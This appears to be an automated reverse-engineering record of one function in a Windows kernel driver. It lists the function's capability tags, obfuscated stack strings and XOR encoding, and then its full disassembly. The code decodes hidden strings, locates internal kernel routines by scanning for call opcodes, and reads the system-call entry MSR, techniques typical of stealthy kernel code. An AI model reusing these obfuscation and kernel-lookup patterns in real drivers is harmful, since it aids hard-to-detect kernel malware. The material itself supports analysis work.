Function at 0x140003014
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x98]
sub rsp, 0x198
mov qword [0x1400a6c80], rdx
mov r15d, 1
mov eax, dword gs:[0x9018]
mov r8, rdx
shr eax, 1
not al
test r15b, al
je 0x14000305a
lea ebx, [r15 + 0xf]
jmp 0x1400035cf
movdqa xmm0, xmmword [0x140076ce0]
xor r14d, r14d
movdqu xmmword [rsp + 0x50], xmm0
mov ecx, r14d
mov dword [rsp + 0x60], 0x585d59
mov al, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
add rcx, r15
cmp rcx, 0x12
jb 0x140003076
lea rdx, [rsp + 0x51]
mov byte [rsp + 0x63], r14b
mov rcx, r8
call fcn.140005828
movdqa xmm0, xmmword [0x140076ef0]
mov rbx, rax
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0x686d69
mov rcx, r14
mov al, byte [rsp + 0x68]
xor byte [rsp + rcx + 0x69], al
add rcx, r15
cmp rcx, 0x12
jb 0x1400030b5
mov rcx, qword [0x1400a6c80]
lea rdx, [rsp + 0x69]
mov byte [rsp + 0x7b], r14b
call fcn.140005828
mov rdx, rax
test rbx, rbx
je 0x1400035ca
test rax, rax
je 0x1400035ca
mov al, 0xe8
jmp 0x1400030f8
add rbx, r15
cmp byte [rbx], al
jne 0x1400030f5
jmp 0x140003101
add rdx, r15
cmp byte [rdx], al
jne 0x1400030fe
movsxd rcx, dword [rbx + 1]
movdqa xmm0, xmmword [0x140076d20]
add rcx, 5
movdqa xmm1, xmmword [0x140076cf0]
add rcx, rbx
mov qword [0x1400a6cb8], rcx
movsxd rcx, dword [rdx + 1]
add rcx, 5
mov dword [rbp + 0x30], 0x44504f50
add rcx, rdx
mov dword [rbp + 0x34], 0x45405048
xor eax, eax
mov qword [0x1400a6cb0], rcx
mov byte [rbp + 0x38], al
mov rcx, r14
movdqu xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
mov al, byte [rbp + 0x10]
xor byte [rbp + rcx + 0x11], al
add rcx, r15
cmp rcx, 0x27
jb 0x140003159
mov byte [rbp + 0x38], r14b
mov cl, 0x71
mov dword [rbp + 0xd8], 0x36302171
mov rax, r14
mov word [rbp + 0xdc], 0x34
xor byte [rbp + rax + 0xd9], cl
add rax, r15
cmp rax, 4
jae 0x14000319d
mov cl, byte [rbp + 0xd8]
jmp 0x140003185
movdqa xmm0, xmmword [0x140076d20]
xor eax, eax
movdqa xmm1, xmmword [0x140076cf0]
mov rcx, r14
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp + 8], al
movdqu xmmword [rbp - 0x10], xmm1
mov byte [rbp + 0xdd], r14b
mov dword [rbp], 0x44504f50
mov dword [rbp + 4], 0x45405048
mov al, byte [rbp - 0x20]
xor byte [rbp + rcx - 0x1f], al
add rcx, r15
cmp rcx, 0x27
jb 0x1400031d4
mov byte [rbp + 8], r14b
mov cl, 0x71
mov dword [rbp + 0xd0], 0x36302171
mov rax, r14
mov word [rbp + 0xd4], 0x34
xor byte [rbp + rax + 0xd1], cl
add rax, r15
cmp rax, 4
jae 0x140003218
mov cl, byte [rbp + 0xd0]
jmp 0x140003200
mov rcx, qword [0x1400a6c80]
lea r8, [rbp - 0x1f]
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xd5], r14b
call fcn.140005d5c
mov rcx, qword [0x1400a6c80]
lea r8, [rbp + 0x11]
lea rdx, [rbp + 0xd9]
movsxd rbx, dword [rax + 3]
call fcn.140005d5c
movdqa xmm0, xmmword [0x140076c00]
movdqa xmm1, xmmword [0x140076c50]
movdqu xmmword [rbp - 0x50], xmm0
lea rcx, [rax + 7]
mov dword [rbp - 0x30], 0x2c382738
add rcx, rbx
mov dword [rbp - 0x2c], 0x21203821
xor eax, eax
mov qword [0x1400a6ca8], rcx
mov byte [rbp - 0x22], al
mov rcx, r14
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x28], 0x382e2838
mov word [rbp - 0x24], 0x5e5e
mov al, byte [rbp - 0x50]
xor byte [rbp + rcx - 0x4f], al
add rcx, r15
cmp rcx, 0x2d
jb 0x14000329c
mov byte [rbp - 0x22], r14b
mov cl, 0x7d
mov dword [rbp + 0xe8], 0x3a3c2d7d
mov sil, 0x3a
mov word [rbp + 0xec], 0x38
mov rax, r14
xor byte [rbp + rax + 0xe9], cl
add rax, r15
cmp rax, 4
jae 0x1400032e3
mov cl, byte [rbp + 0xe8]
jmp 0x1400032cb
movdqa xmm0, xmmword [0x140076c00]
xor eax, eax
movdqa xmm1, xmmword [0x140076c50]
mov rcx, r14
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x52], al
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp + 0xed], r14b
mov dword [rbp - 0x60], 0x2c382738
mov dword [rbp - 0x5c], 0x21203821
mov dword [rbp - 0x58], 0x382e2838
mov word [rbp - 0x54], 0x5e5e
mov al, byte [rbp - 0x80]
xor byte [rbp + rcx - 0x7f], al
add rcx, r15
cmp rcx, 0x2d
jb 0x140003327
mov byte [rbp - 0x52], r14b
mov cl, 0x7d
mov word [rbp + 0xe0], 0x2d7d
mov rax, r14
mov byte [rbp + 0xe2], 0x3c
mov byte [rbp + 0xe3], sil
mov word [rbp + 0xe4], 0x38
xor byte [rbp + rax + 0xe1], cl
add rax, r15
cmp rax, 4
jae 0x140003378
mov cl, byte [rbp + 0xe0]
jmp 0x140003360
mov rcx, qword [0x1400a6c80]
lea r8, [rbp - 0x7f]
lea rdx, [rbp + 0xe1]
mov byte [rbp + 0xe5], r14b
call fcn.140005d5c
mov rcx, qword [0x1400a6c80]
lea r8, [rbp - 0x4f]
lea rdx, [rbp + 0xe9]
movsxd rbx, dword [rax + 1]
call fcn.140005d5c
lea rcx, [rbx + 5]
mov dword [rsp + 0x30], 0x26362c42
add rcx, rax
mov dword [rsp + 0x34], 0x266c2e2e
xor eax, eax
mov qword [0x1400a6ca0], rcx
mov cl, 0x42
mov word [rsp + 0x38], 0x2e2e
mov byte [rsp + 0x3a], al
lea ebx, [rax + 9]
xor byte [rsp + rax + 0x31], cl
add rax, r15
cmp rax, rbx
jae 0x1400033f3
mov cl, byte [rsp + 0x30]
jmp 0x1400033e1
mov byte [rsp + 0x3a], r14b
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x31]
call fcn.140005bd0
mov r9, rax
test rax, rax
jne 0x14000341d
mov ebx, 7
jmp 0x1400035cf
movdqa xmm0, xmmword [0x140076ca0]
mov rcx, r14
movdqa xmm1, xmmword [str.1_1K_____6_J]
mov edi, 0x1e
movdqu xmmword [rbp + 0x68], xmm0
movdqu xmmword [rbp + 0x78], xmm1
mov al, byte [rbp + 0x68]
xor byte [rbp + rcx + 0x69], al
add rcx, r15
cmp rcx, rdi
jb 0x14000343f
xor eax, eax
mov byte [rbp + 0x87], r14b
mov byte [rsp + 0x26], al
mov cl, 5
mov dword [rsp + 0x20], 0x60712b05
mov word [rsp + 0x24], 0x717d
xor byte [rsp + rax + 0x21], cl
add rax, r15
cmp rax, 5
jae 0x14000347f
mov cl, byte [rsp + 0x20]
jmp 0x14000346c
lea r8, [rbp + 0x69]
mov byte [rsp + 0x26], r14b
lea rdx, [rsp + 0x21]
mov rcx, r9
call fcn.140005d5c
mov qword [0x1400a6c88], rax
mov rax, r14
mov dword [rsp + 0x40], 0x7b6d6b1e
mov dword [rsp + 0x44], 0x302c2d6c
mov dword [rsp + 0x48], 0x72727a
xor byte [rsp + rax + 0x41], dil
add rax, r15
cmp rax, 0xa
jae 0x1400034cc
mov dil, byte [rsp + 0x40]
jmp 0x1400034b7
mov byte [rsp + 0x4b], r14b
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x41]
call fcn.140005bd0
mov r9, rax
test rax, rax
je 0x140003413
movdqa xmm0, xmmword [0x140076cc0]
mov rcx, r14
movdqa xmm1, xmmword [0x140076d40]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x60], 0x55534122
movdqu xmmword [rbp + 0x50], xmm1
mov dword [rbp + 0x64], 0x515341
mov al, byte [rbp + 0x40]
xor byte [rbp + rcx + 0x41], al
add rcx, r15
cmp rcx, 0x26
jb 0x14000351b
mov byte [rbp + 0x67], r14b
mov rax, r14
mov byte [rsp + 0x28], sil
mov dword [rsp + 0x29], 0x425f4e14
mov word [rsp + 0x2d], 0x4e
xor byte [rsp + rax + 0x29], sil
add rax, r15
cmp rax, 5
jae 0x14000355b
mov sil, byte [rsp + 0x28]
jmp 0x140003546
lea r8, [rbp + 0x41]
mov byte [rsp + 0x2e], r14b
lea rdx, [rsp + 0x29]
mov rcx, r9
call fcn.140005d5c
cmp qword [0x1400a6ca8], r14
mov qword [0x1400a6c98], rax
je 0x1400035cf
cmp qword [0x1400a6ca0], r14
je 0x1400035cf
cmp qword [0x1400a6c88], r14
je 0x1400035cf
test rax, rax
je 0x1400035cf
mov ecx, 0xc0000082
rdmsr
shl rdx, 0x20
mov ebx, 0x10
or rax, rdx
mov ecx, dword [rax + 8]
mov rax, r14
cmp cl, bl
jne 0x1400035be
test ecx, 0xff00
setne al
mov qword [0x1400a69d0], rax
mov ebx, r14d
jmp 0x1400035cf
mov ebx, 8
mov eax, ebx
add rsp, 0x198
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret